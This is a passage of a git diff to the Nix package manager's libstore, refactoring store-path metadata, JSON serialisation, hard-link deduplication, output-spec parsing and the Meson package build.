getString(valueAt(json, "compression")); + + if (json.contains("downloadHash")) + res.fileHash = Hash::parseAny( + getString(valueAt(json, "downloadHash")), + std::nullopt); + + if (json.contains("downloadSize")) + res.fileSize = getInteger(valueAt(json, "downloadSize")); + + return res; +} + } diff --git a/src/libstore/nar-info.hh b/src/libstore/nar-info.hh index 01683ec73..561c9a863 100644 --- a/src/libstore/nar-info.hh +++ b/src/libstore/nar-info.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "types.hh" #include "hash.hh" @@ -16,11 +17,27 @@ struct NarInfo : ValidPathInfo uint64_t fileSize = 0; NarInfo() = delete; - NarInfo(StorePath && path, Hash narHash) : ValidPathInfo(std::move(path), narHash) { } + NarInfo(const Store & store, std::string name, ContentAddressWithReferences ca, Hash narHash) + : ValidPathInfo(store, std::move(name), std::move(ca), narHash) + { } + NarInfo(StorePath path, Hash narHash) : ValidPathInfo(std::move(path), narHash) { } NarInfo(const ValidPathInfo & info) : ValidPathInfo(info) { } NarInfo(const Store & store, const std::string & s, const std::string & whence); + bool operator ==(const NarInfo &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::optional::operator <=>`, can't do yet + //auto operator <=>(const NarInfo &) const = default; + std::string to_string(const Store & store) const; + + nlohmann::json toJSON( + const Store & store, + bool includeImpureInfo, + HashFormat hashFormat) const override; + static NarInfo fromJSON( + const Store & store, + const StorePath & path, + const nlohmann::json & json); }; } diff --git a/src/libstore/nix-store.pc.in b/src/libstore/nix-store.pc.in index 6d67b1e03..cd3f2b8da 100644 --- a/src/libstore/nix-store.pc.in +++ b/src/libstore/nix-store.pc.in @@ -5,5 +5,6 @@ includedir=@includedir@ Name: Nix Description: Nix Package Manager Version: @PACKAGE_VERSION@ -Libs: -L${libdir} -lnixstore -lnixutil -Cflags: -I${includedir}/nix -std=c++17 +Requires: nix-util +Libs: -L${libdir} -lnixstore +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc index 4d2781180..9d903f218 100644 --- a/src/libstore/optimise-store.cc +++ b/src/libstore/optimise-store.cc @@ -1,6 +1,8 @@ -#include "util.hh" #include "local-store.hh" #include "globals.hh" +#include "signals.hh" +#include "posix-fs-canonicalise.hh" +#include "posix-source-accessor.hh" #include #include @@ -55,7 +57,7 @@ LocalStore::InodeHash LocalStore::loadInodeHash() } if (errno) throw SysError("reading directory '%1%'", linksDir); - printMsg(lvlTalkative, format("loaded %1% hash inodes") % inodeHash.size()); + printMsg(lvlTalkative, "loaded %1% hash inodes", inodeHash.size()); return inodeHash; } @@ -73,7 +75,7 @@ Strings LocalStore::readDirectoryIgnoringInodes(const Path & path, const InodeHa checkInterrupt(); if (inodeHash.count(dirent->d_ino)) { - debug(format("'%1%' is already linked") % dirent->d_name); + debug("'%1%' is already linked", dirent->d_name); continue; } @@ -96,13 +98,14 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, #if __APPLE__ /* HFS/macOS has some undocumented security feature disabling hardlinking for - special files within .app dirs. *.app/Contents/PkgInfo and - *.app/Contents/Resources/\*.lproj seem to be the only paths affected. See - https://github.com/NixOS/nix/issues/1443 for more discussion. */ + special files within .app dirs. Known affected paths include + *.app/Contents/{PkgInfo,Resources/\*.lproj,_CodeSignature} and .DS_Store. + See https://github.com/NixOS/nix/issues/1443 and + https://github.com/NixOS/nix/pull/2230 for more discussion. */ if (std::regex_search(path, std::regex("\\.app/Contents/.+$"))) { - debug(format("'%1%' is not allowed to be linked in macOS") % path); + debug("'%1%' is not allowed to be linked in macOS", path); return; } #endif @@ -145,62 +148,68 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, Also note that if `path' is a symlink, then we're hashing the contents of the symlink (i.e. the result of readlink()), not the contents of the target (which may not even exist). */ - Hash hash = hashPath(htSHA256, path).first; - debug(format("'%1%' has hash '%2%'") % path % hash.to_string(Base32, true)); + Hash hash = ({ + hashPath( + {make_ref(), CanonPath(path)}, + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; + }); + debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true)); /* Check if this is a known hash. */ - Path linkPath = linksDir + "/" + hash.to_string(Base32, false); + std::filesystem::path linkPath = std::filesystem::path{linksDir} / hash.to_string(HashFormat::Nix32, false); /* Maybe delete the link, if it has been corrupted. */ - if (pathExists(linkPath)) { - auto stLink = lstat(linkPath); + if (std::filesystem::exists(std::filesystem::symlink_status(linkPath))) { + auto stLink = lstat(linkPath.string()); if (st.st_size != stLink.st_size - || (repair && hash != hashPath(htSHA256, linkPath).first)) + || (repair && hash != ({ + hashPath( + PosixSourceAccessor::createAtRoot(linkPath), + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; + }))) { // XXX: Consider overwriting linkPath with our valid version. - warn("removing corrupted link '%s'", linkPath); + warn("removing corrupted link %s", linkPath); warn("There may be more corrupted paths." "\nYou should run `nix-store --verify --check-contents --repair` to fix them all"); - unlink(linkPath.c_str()); + std::filesystem::remove(linkPath); } } - if (!pathExists(linkPath)) { + if (!std::filesystem::exists(std::filesystem::symlink_status(linkPath))) { /* Nope, create a hard link in the links directory. */ - if (link(path.c_str(), linkPath.c_str()) == 0) { + try { + std::filesystem::create_hard_link(path, linkPath); inodeHash.insert(st.st_ino); - return; - } + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::file_exists) { + /* Fall through if another process created ‘linkPath’ before + we did. */ + } - switch (errno) { - case EEXIST: - /* Fall through if another process created ‘linkPath’ before - we did. */ - break; + else if (e.code() == std::errc::no_space_on_device) { + /* On ext4, that probably means the directory index is + full. When that happens, it's fine to ignore it: we + just effectively disable deduplication of this + file. */ + printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno)); + return; + } - case ENOSPC: - /* On ext4, that probably means the directory index is - full. When that happens, it's fine to ignore it: we - just effectively disable deduplication of this - file. */ - printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno)); - return; - - default: - throw SysError("cannot link '%1%' to '%2%'", linkPath, path); + else throw; } } /* Yes! We've seen a file with the same contents. Replace the current file with a hard link to that file. */ - auto stLink = lstat(linkPath); + auto stLink = lstat(linkPath.string()); if (st.st_ino == stLink.st_ino) { - debug(format("'%1%' is already linked to '%2%'") % path % linkPath); + debug("'%1%' is already linked to '%2%'", path, linkPath); return; } - printMsg(lvlTalkative, format("linking '%1%' to '%2%'") % path % linkPath); + printMsg(lvlTalkative, "linking '%1%' to '%2%'", path, linkPath); /* Make the containing directory writable, but only if it's not the store itself (we don't want or need to mess with its @@ -213,28 +222,30 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, its timestamp back to 0. */ MakeReadOnly makeReadOnly(mustToggle ? dirOfPath : ""); - Path tempLink = (format("%1%/.tmp-link-%2%-%3%") - % realStoreDir % getpid() % random()).str(); + std::filesystem::path tempLink = fmt("%1%/.tmp-link-%2%-%3%", realStoreDir, getpid(), rand()); - if (link(linkPath.c_str(), tempLink.c_str()) == -1) { - if (errno == EMLINK) { + try { + std::filesystem::create_hard_link(linkPath, tempLink); + inodeHash.insert(st.st_ino); + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::too_many_links) { /* Too many links to the same file (>= 32000 on most file systems). This is likely to happen with empty files. Just shrug and ignore. */ if (st.st_size) - printInfo(format("'%1%' has maximum number of links") % linkPath); + printInfo("'%1%' has maximum number of links", linkPath); return; } - throw SysError("cannot link '%1%' to '%2%'", tempLink, linkPath); + throw; } /* Atomically replace the old file with the new hard link. */ try { - renameFile(tempLink, path); - } catch (SysError & e) { - if (unlink(tempLink.c_str()) == -1) + std::filesystem::rename(tempLink, path); + } catch (std::filesystem::filesystem_error & e) { + std::filesystem::remove(tempLink); printError("unable to unlink '%1%'", tempLink); - if (errno == EMLINK) { + if (e.code() == std::errc::too_many_links) { /* Some filesystems generate too many links on the rename, rather than on the original link. (Probably it temporarily increases the st_nlink field before @@ -247,10 +258,13 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, stats.filesLinked++; stats.bytesFreed += st.st_size; - stats.blocksFreed += st.st_blocks; if (act) - act->result(resFileLinked, st.st_size, st.st_blocks); + act->result(resFileLinked, st.st_size +#ifndef _WIN32 + , st.st_blocks +#endif + ); } diff --git a/src/libstore/outputs-spec.cc b/src/libstore/outputs-spec.cc new file mode 100644 index 000000000..86788a87e --- /dev/null +++ b/src/libstore/outputs-spec.cc @@ -0,0 +1,196 @@ +#include +#include + +#include "util.hh" +#include "regex-combinators.hh" +#include "outputs-spec.hh" +#include "path-regex.hh" +#include "strings-inline.hh" + +namespace nix { + +bool OutputsSpec::contains(const std::string & outputName) const +{ + return std::visit(overloaded { + [&](const OutputsSpec::All &) { + return true; + }, + [&](const OutputsSpec::Names & outputNames) { + return outputNames.count(outputName) > 0; + }, + }, raw); +} + +static std::string outputSpecRegexStr = + regex::either( + regex::group(R"(\*)"), + regex::group(regex::list(nameRegexStr))); + +std::optional OutputsSpec::parseOpt(std::string_view s) +{ + static std::regex regex(std::string { outputSpecRegexStr }); + + std::smatch match; + std::string s2 { s }; // until some improves std::regex + if (!std::regex_match(s2, match, regex)) + return std::nullopt; + + if (match[1].matched) + return { OutputsSpec::All {} }; + + if (match[2].matched) + return OutputsSpec::Names { tokenizeString(match[2].str(), ",") }; + + assert(false); +} + + +OutputsSpec OutputsSpec::parse(std::string_view s) +{ + std::optional spec = parseOpt(s); + if (!spec) + throw Error("invalid outputs specifier '%s'", s); + return std::move(*spec); +} + + +std::optional> ExtendedOutputsSpec::parseOpt(std::string_view s) +{ + auto found = s.rfind('^'); + + if (found == std::string::npos) + return std::pair { s, ExtendedOutputsSpec::Default {} }; + + auto specOpt = OutputsSpec::parseOpt(s.substr(found + 1)); + if (!specOpt) + return std::nullopt; + return std::pair { s.substr(0, found), ExtendedOutputsSpec::Explicit { std::move(*specOpt) } }; +} + + +std::pair ExtendedOutputsSpec::parse(std::string_view s) +{ + std::optional spec = parseOpt(s); + if (!spec) + throw Error("invalid extended outputs specifier '%s'", s); + return *spec; +} + + +std::string OutputsSpec::to_string() const +{ + return std::visit(overloaded { + [&](const OutputsSpec::All &) -> std::string { + return "*"; + }, + [&](const OutputsSpec::Names & outputNames) -> std::string { + return concatStringsSep(",", outputNames); + }, + }, raw); +} + + +std::string ExtendedOutputsSpec::to_string() const +{ + return std::visit(overloaded { + [&](const ExtendedOutputsSpec::Default &) -> std::string { + return ""; + }, + [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> std::string { + return "^" + outputSpec.to_string(); + }, + }, raw); +} + + +OutputsSpec OutputsSpec::union_(const OutputsSpec & that) const +{ + return std::visit(overloaded { + [&](const OutputsSpec::All &) -> OutputsSpec { + return OutputsSpec::All { }; + }, + [&](const OutputsSpec::Names & theseNames) -> OutputsSpec { + return std::visit(overloaded { + [&](const OutputsSpec::All &) -> OutputsSpec { + return OutputsSpec::All {}; + }, + [&](const OutputsSpec::Names & thoseNames) -> OutputsSpec { + OutputsSpec::Names ret = theseNames; + ret.insert(thoseNames.begin(), thoseNames.end()); + return ret; + }, + }, that.raw); + }, + }, raw); +} + + +bool OutputsSpec::isSubsetOf(const OutputsSpec & that) const +{ + return std::visit(overloaded { + [&](const OutputsSpec::All &) { + return true; + }, + [&](const OutputsSpec::Names & thoseNames) { + return std::visit(overloaded { + [&](const OutputsSpec::All &) { + return false; + }, + [&](const OutputsSpec::Names & theseNames) { + bool ret = true; + for (auto & o : theseNames) + if (thoseNames.count(o) == 0) + ret = false; + return ret; + }, + }, raw); + }, + }, that.raw); +} + +} + +namespace nlohmann { + +using namespace nix; + +OutputsSpec adl_serializer::from_json(const json & json) { + auto names = json.get(); + if (names == StringSet({"*"})) + return OutputsSpec::All {}; + else + return OutputsSpec::Names { std::move(names) }; +} + +void adl_serializer::to_json(json & json, OutputsSpec t) { + std::visit(overloaded { + [&](const OutputsSpec::All &) { + json = std::vector({"*"}); + }, + [&](const OutputsSpec::Names & names) { + json = names; + }, + }, t.raw); +} + + +ExtendedOutputsSpec adl_serializer::from_json(const json & json) { + if (json.is_null()) + return ExtendedOutputsSpec::Default {}; + else { + return ExtendedOutputsSpec::Explicit { json.get() }; + } +} + +void adl_serializer::to_json(json & json, ExtendedOutputsSpec t) { + std::visit(overloaded { + [&](const ExtendedOutputsSpec::Default &) { + json = nullptr; + }, + [&](const ExtendedOutputsSpec::Explicit & e) { + adl_serializer::to_json(json, e); + }, + }, t.raw); +} + +} diff --git a/src/libstore/outputs-spec.hh b/src/libstore/outputs-spec.hh new file mode 100644 index 000000000..30d15311d --- /dev/null +++ b/src/libstore/outputs-spec.hh @@ -0,0 +1,128 @@ +#pragma once +///@file + +#include +#include +#include +#include + +#include "json-impls.hh" +#include "variant-wrapper.hh" + +namespace nix { + +/** + * An (owned) output name. Just a type alias used to make code more + * readible. + */ +typedef std::string OutputName; + +/** + * A borrowed output name. Just a type alias used to make code more + * readible. + */ +typedef std::string_view OutputNameView; + +struct OutputsSpec { + /** + * A non-empty set of outputs, specified by name + */ + struct Names : std::set { + using std::set::set; + + /* These need to be "inherited manually" */ + + Names(const std::set & s) + : std::set(s) + { assert(!empty()); } + + /** + * Needs to be "inherited manually" + */ + Names(std::set && s) + : std::set(s) + { assert(!empty()); } + + /* This set should always be non-empty, so we delete this + constructor in order make creating empty ones by mistake harder. + */ + Names() = delete; + }; + + /** + * The set of all outputs, without needing to name them explicitly + */ + struct All : std::monostate { }; + + typedef std::variant Raw; + + Raw raw; + + bool operator == (const OutputsSpec &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const OutputsSpec & other) const { + return raw < other.raw; + } + + MAKE_WRAPPER_CONSTRUCTOR(OutputsSpec); + + /** + * Force choosing a variant + */ + OutputsSpec() = delete; + + bool contains(const OutputName & output) const; + + /** + * Create a new OutputsSpec which is the union of this and that. + */ + OutputsSpec union_(const OutputsSpec & that) const; + + /** + * Whether this OutputsSpec is a subset of that. + */ + bool isSubsetOf(const OutputsSpec & outputs) const; + + /** + * Parse a string of the form 'output1,...outputN' or '*', returning + * the outputs spec. + */ + static OutputsSpec parse(std::string_view s); + static std::optional parseOpt(std::string_view s); + + std::string to_string() const; +}; + +struct ExtendedOutputsSpec { + struct Default : std::monostate { }; + using Explicit = OutputsSpec; + + typedef std::variant Raw; + + Raw raw; + + bool operator == (const ExtendedOutputsSpec &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const ExtendedOutputsSpec &) const; + + MAKE_WRAPPER_CONSTRUCTOR(ExtendedOutputsSpec); + + /** + * Force choosing a variant + */ + ExtendedOutputsSpec() = delete; + + /** + * Parse a string of the form 'prefix^output1,...outputN' or + * 'prefix^*', returning the prefix and the extended outputs spec. + */ + static std::pair parse(std::string_view s); + static std::optional> parseOpt(std::string_view s); + + std::string to_string() const; +}; + +} + +JSON_IMPL(OutputsSpec) +JSON_IMPL(ExtendedOutputsSpec) diff --git a/src/libstore/package.nix b/src/libstore/package.nix new file mode 100644 index 000000000..4582ba0d2 --- /dev/null +++ b/src/libstore/package.nix @@ -0,0 +1,109 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config +, unixtools + +, nix-util +, boost +, curl +, aws-sdk-cpp +, libseccomp +, nlohmann_json +, sqlite + +, busybox-sandbox-shell ? null + +# Configuration Options + +, version + +, embeddedSandboxShell ? stdenv.hostPlatform.isStatic +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-store"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "sb") ./.) + (fileset.fileFilter (file: file.hasExt "md") ./.) + (fileset.fileFilter (file: file.hasExt "sql") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ] ++ lib.optional embeddedSandboxShell unixtools.hexdump; + + buildInputs = [ + boost + curl + sqlite + ] ++ lib.optional stdenv.hostPlatform.isLinux libseccomp + # There have been issues building these dependencies + ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) + aws-sdk-cpp + ; + + propagatedBuildInputs = [ + nix-util + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux) + (lib.mesonBool "embedded-sandbox-shell" embeddedSandboxShell) + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ + (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox") + ]; + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc index cc4a94fab..d8459d4d7 100644 --- a/src/libstore/parsed-derivations.cc +++ b/src/libstore/parsed-derivations.cc @@ -122,7 +122,7 @@ bool ParsedDerivation::willBuildLocally(Store & localStore) const bool ParsedDerivation::substitutesAllowed() const { - return getBoolAttr("allowSubstitutes", true); + return settings.alwaysAllowSubstitutes ? true : getBoolAttr("allowSubstitutes", true); } bool ParsedDerivation::useUidRange() const @@ -132,6 +132,60 @@ bool ParsedDerivation::useUidRange() const static std::regex shVarName("[A-Za-z_][A-Za-z0-9_]*"); +/** + * Write a JSON representation of store object metadata, such as the + * hash and the references. + * + * @note Do *not* use `ValidPathInfo::toJSON` because this function is + * subject to stronger stability requirements since it is used to + * prepare build environments. Perhaps someday we'll have a versionining + * mechanism to allow this to evolve again and get back in sync, but for + * now we must not change - not even extend - the behavior. + */ +static nlohmann::json pathInfoToJSON( + Store & store, + const StorePathSet & storePaths) +{ + using nlohmann::json; + + nlohmann::json::array_t jsonList = json::array(); + + for (auto & storePath : storePaths) { + auto info = store.queryPathInfo(storePath); + + auto & jsonPath = jsonList.emplace_back(json::object()); + + jsonPath["narHash"] = info->narHash.to_string(HashFormat::Nix32, true); + jsonPath["narSize"] = info->narSize; + + { + auto & jsonRefs = jsonPath["references"] = json::array(); + for (auto & ref : info->references) + jsonRefs.emplace_back(store.printStorePath(ref)); + } + + if (info->ca) + jsonPath["ca"] = renderContentAddress(info->ca); + + // Add the path to the object whose metadata we are including. + jsonPath["path"] = store.printStorePath(storePath); + + jsonPath["valid"] = true; + + jsonPath["closureSize"] = ({ + uint64_t totalNarSize = 0; + StorePathSet closure; + store.computeFSClosure(info->path, closure, false, false); + for (auto & p : closure) { + auto info = store.queryPathInfo(p); + totalNarSize += info->narSize; + } + totalNarSize; + }); + } + return jsonList; +} + std::optional ParsedDerivation::prepareStructuredAttrs(Store & store, const StorePathSet & inputPaths) { auto structuredAttrs = getStructuredAttrs(); @@ -151,9 +205,9 @@ std::optional ParsedDerivation::prepareStructuredAttrs(Store & s for (auto i = e->begin(); i != e->end(); ++i) { StorePathSet storePaths; for (auto & p : *i) - storePaths.insert(store.parseStorePath(p.get())); - json[i.key()] = store.pathInfoToJSON( - store.exportReferences(storePaths, inputPaths), false, true); + storePaths.insert(store.toStorePath(p.get()).first); + json[i.key()] = pathInfoToJSON(store, + store.exportReferences(storePaths, inputPaths)); } } diff --git a/src/libstore/parsed-derivations.hh b/src/libstore/parsed-derivations.hh index bfb3857c0..71085a604 100644 --- a/src/libstore/parsed-derivations.hh +++ b/src/libstore/parsed-derivations.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "derivations.hh" #include "store-api.hh" diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index fda55b2b6..6e87e60f4 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -1,46 +1,230 @@ +#include + #include "path-info.hh" -#include "worker-protocol.hh" +#include "store-api.hh" +#include "json-utils.hh" +#include "comparator.hh" +#include "strings.hh" namespace nix { -ValidPathInfo ValidPathInfo::read(Source & source, const Store & store, unsigned int format) +GENERATE_CMP_EXT( + , + std::weak_ordering, + UnkeyedValidPathInfo, + me->deriver, + me->narHash, + me->references, + me->registrationTime, + me->narSize, + //me->id, + me->ultimate, + me->sigs, + me->ca); + +std::string ValidPathInfo::fingerprint(const Store & store) const { - return read(source, store, format, store.parseStorePath(readString(source))); + if (narSize == 0) + throw Error("cannot calculate fingerprint of path '%s' because its size is not known", + store.printStorePath(path)); + return + "1;" + store.printStorePath(path) + ";" + + narHash.to_string(HashFormat::Nix32, true) + ";" + + std::to_string(narSize) + ";" + + concatStringsSep(",", store.printStorePathSet(references)); } -ValidPathInfo ValidPathInfo::read(Source & source, const Store & store, unsigned int format, StorePath && path) + +void ValidPathInfo::sign(const Store & store, const Signer & signer) { - auto deriver = readString(source); - auto narHash = Hash::parseAny(readString(source), htSHA256); - ValidPathInfo info(path, narHash); - if (deriver != "") info.deriver = store.parseStorePath(deriver); - info.references = worker_proto::read(store, source, Phantom {}); - source >> info.registrationTime >> info.narSize; - if (format >= 16) { - source >> info.ultimate; - info.sigs = readStrings(source); - info.ca = parseContentAddressOpt(readString(source)); + sigs.insert(signer.signDetached(fingerprint(store))); +} + +std::optional ValidPathInfo::contentAddressWithReferences() const +{ + if (! ca) + return std::nullopt; + + switch (ca->method.raw) { + case ContentAddressMethod::Raw::Text: + { + assert(references.count(path) == 0); + return TextInfo { + .hash = ca->hash, + .references = references, + }; + } + + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: + { + auto refs = references; + bool hasSelfReference = false; + if (refs.count(path)) { + hasSelfReference = true; + refs.erase(path); + } + return FixedOutputInfo { + .method = ca->method.getFileIngestionMethod(), + .hash = ca->hash, + .references = { + .others = std::move(refs), + .self = hasSelfReference, + }, + }; + } } - return info; } -void ValidPathInfo::write( - Sink & sink, +bool ValidPathInfo::isContentAddressed(const Store & store) const +{ + auto fullCaOpt = contentAddressWithReferences(); + + if (! fullCaOpt) + return false; + + auto caPath = store.makeFixedOutputPathFromCA(path.name(), *fullCaOpt); + + bool res = caPath == path; + + if (!res) + printError("warning: path '%s' claims to be content-addressed but isn't", store.printStorePath(path)); + + return res; +} + + +size_t ValidPathInfo::checkSignatures(const Store & store, const PublicKeys & publicKeys) const +{ + if (isContentAddressed(store)) return maxSigs; + + size_t good = 0; + for (auto & sig : sigs) + if (checkSignature(store, publicKeys, sig)) + good++; + return good; +} + + +bool ValidPathInfo::checkSignature(const Store & store, const PublicKeys & publicKeys, const std::string & sig) const +{ + return verifyDetached(fingerprint(store), sig, publicKeys); +} + + +Strings ValidPathInfo::shortRefs() const +{ + Strings refs; + for (auto & r : references) + refs.push_back(std::string(r.to_string())); + return refs; +} + +ValidPathInfo::ValidPathInfo( const Store & store, - unsigned int format, - bool includePath) const + std::string_view name, + ContentAddressWithReferences && ca, + Hash narHash) + : UnkeyedValidPathInfo(narHash) + , path(store.makeFixedOutputPathFromCA(name, ca)) { - if (includePath) - sink << store.printStorePath(path); - sink << (deriver ? store.printStorePath(*deriver) : "") - << narHash.to_string(Base16, false); - worker_proto::write(store, sink, references); - sink << registrationTime << narSize; - if (format >= 16) { - sink << ultimate - << sigs - << renderContentAddress(ca); + this->ca = ContentAddress { + .method = ca.getMethod(), + .hash = ca.getHash(), + }; + std::visit(overloaded { + [this](TextInfo && ti) { + this->references = std::move(ti.references); + }, + [this](FixedOutputInfo && foi) { + this->references = std::move(foi.references.others); + if (foi.references.self) + this->references.insert(path); + }, + }, std::move(ca).raw); +} + + +nlohmann::json UnkeyedValidPathInfo::toJSON( + const Store & store, + bool includeImpureInfo, + HashFormat hashFormat) const +{ + using nlohmann::json; + + auto jsonObject = json::object(); + + jsonObject["narHash"] = narHash.to_string(hashFormat, true); + jsonObject["narSize"] = narSize; + + { + auto & jsonRefs = jsonObject["references"] = json::array(); + for (auto & ref : references) + jsonRefs.emplace_back(store.printStorePath(ref)); } + + jsonObject["ca"] = ca ? (std::optional { renderContentAddress(*ca) }) : std::nullopt; + + if (includeImpureInfo) { + jsonObject["deriver"] = deriver ? (std::optional { store.printStorePath(*deriver) }) : std::nullopt; + + jsonObject["registrationTime"] = registrationTime ? (std::optional { registrationTime }) : std::nullopt; + + jsonObject["ultimate"] = ultimate; + + auto & sigsObj = jsonObject["signatures"] = json::array(); + for (auto & sig : sigs) + sigsObj.push_back(sig); + } + + return jsonObject; +} + +UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( + const Store & store, + const nlohmann::json & _json) +{ + UnkeyedValidPathInfo res { + Hash(Hash::dummy), + }; + + auto & json = getObject(_json); + res.narHash = Hash::parseAny(getString(valueAt(json, "narHash")), std::nullopt); + res.narSize = getInteger(valueAt(json, "narSize")); + + try { + auto references = getStringList(valueAt(json, "references")); + for (auto & input : references) + res.references.insert(store.parseStorePath(static_cast +(input))); + } catch (Error & e) { + e.addTrace({}, "while reading key 'references'"); + throw; + } + + // New format as this as nullable but mandatory field; handling + // missing is for back-compat. + if (json.contains("ca")) + if (auto * rawCa = getNullable(valueAt(json, "ca"))) + res.ca = ContentAddress::parse(getString(*rawCa)); + + if (json.contains("deriver")) + if (auto * rawDeriver = getNullable(valueAt(json, "deriver"))) + res.deriver = store.parseStorePath(getString(*rawDeriver)); + + if (json.contains("registrationTime")) + if (auto * rawRegistrationTime = getNullable(valueAt(json, "registrationTime"))) + res.registrationTime = getInteger(*rawRegistrationTime); + + if (json.contains("ultimate")) + res.ultimate = getBoolean(valueAt(json, "ultimate")); + + if (json.contains("signatures")) + res.sigs = getStringSet(valueAt(json, "signatures")); + + return res; } } diff --git a/src/libstore/path-info.hh b/src/libstore/path-info.hh index b4b54e593..71f1476a6 100644 --- a/src/libstore/path-info.hh +++ b/src/libstore/path-info.hh @@ -1,6 +1,7 @@ #pragma once +///@file -#include "crypto.hh" +#include "signature/signer.hh" #include "path.hh" #include "hash.hh" #include "content-address.hh" @@ -18,100 +19,174 @@ struct SubstitutablePathInfo { std::optional deriver; StorePathSet references; - uint64_t downloadSize; /* 0 = unknown or inapplicable */ - uint64_t narSize; /* 0 = unknown */ + /** + * 0 = unknown or inapplicable + */ + uint64_t downloadSize; + /** + * 0 = unknown + */ + uint64_t narSize; }; -typedef std::map SubstitutablePathInfos; +using SubstitutablePathInfos = std::map; -struct ValidPathInfo +/** + * Information about a store object. + * + * See `store/store-object` and `protocols/json/store-object-info` in + * the Nix manual + */ +struct UnkeyedValidPathInfo { - StorePath path; + /** + * Path to derivation that produced this store object, if known. + */ std::optional deriver; - // TODO document this - Hash narHash; - StorePathSet references; - time_t registrationTime = 0; - uint64_t narSize = 0; // 0 = unknown - uint64_t id; // internal use only - /* Whether the path is ultimately trusted, that is, it's a - derivation output that was built locally. */ + /** + * \todo document this + */ + Hash narHash; + + /** + * Other store objects this store object referes to. + */ + StorePathSet references; + + /** + * When this store object was registered in the store that contains + * it, if known. + */ + time_t registrationTime = 0; + + /** + * 0 = unknown + */ + uint64_t narSize = 0; + + /** + * internal use only: SQL primary key for on-disk store objects with + * `LocalStore`. + * + * @todo Remove, layer violation + */ + uint64_t id = 0; + + /** + * Whether the path is ultimately trusted, that is, it's a + * derivation output that was built locally. + */ bool ultimate = false; StringSet sigs; // note: not necessarily verified - /* If non-empty, an assertion that the path is content-addressed, - i.e., that the store path is computed from a cryptographic hash - of the contents of the path, plus some other bits of data like - the "name" part of the path. Such a path doesn't need - signatures, since we don't have to trust anybody's claim that - the path is the output of a particular derivation. (In the - extensional store model, we have to trust that the *contents* - of an output path of a derivation were actually produced by - that derivation. In the intensional model, we have to trust - that a particular output path was produced by a derivation; the - path then implies the contents.) - - Ideally, the content-addressability assertion would just be a Boolean, - and the store path would be computed from the name component, ‘narHash’ - and ‘references’. However, we support many types of content addresses. - */ + /** + * If non-empty, an assertion that the path is content-addressed, + * i.e., that the store path is computed from a cryptographic hash + * of the contents of the path, plus some other bits of data like + * the "name" part of the path. Such a path doesn't need + * signatures, since we don't have to trust anybody's claim that + * the path is the output of a particular derivation. (In the + * extensional store model, we have to trust that the *contents* + * of an output path of a derivation were actually produced by + * that derivation. In the intensional model, we have to trust + * that a particular output path was produced by a derivation; the + * path then implies the contents.) + * + * Ideally, the content-addressability assertion would just be a Boolean, + * and the store path would be computed from the name component, ‘narHash’ + * and ‘references’. However, we support many types of content addresses. + */ std::optional ca; - bool operator == (const ValidPathInfo & i) const - { - return - path == i.path - && narHash == i.narHash - && references == i.references; - } + UnkeyedValidPathInfo(const UnkeyedValidPathInfo & other) = default; - /* Return a fingerprint of the store path to be used in binary - cache signatures. It contains the store path, the base-32 - SHA-256 hash of the NAR serialisation of the path, the size of - the NAR, and the sorted references. The size field is strictly - speaking superfluous, but might prevent endless/excessive data - attacks. */ + UnkeyedValidPathInfo(Hash narHash) : narHash(narHash) { }; + + bool operator == (const 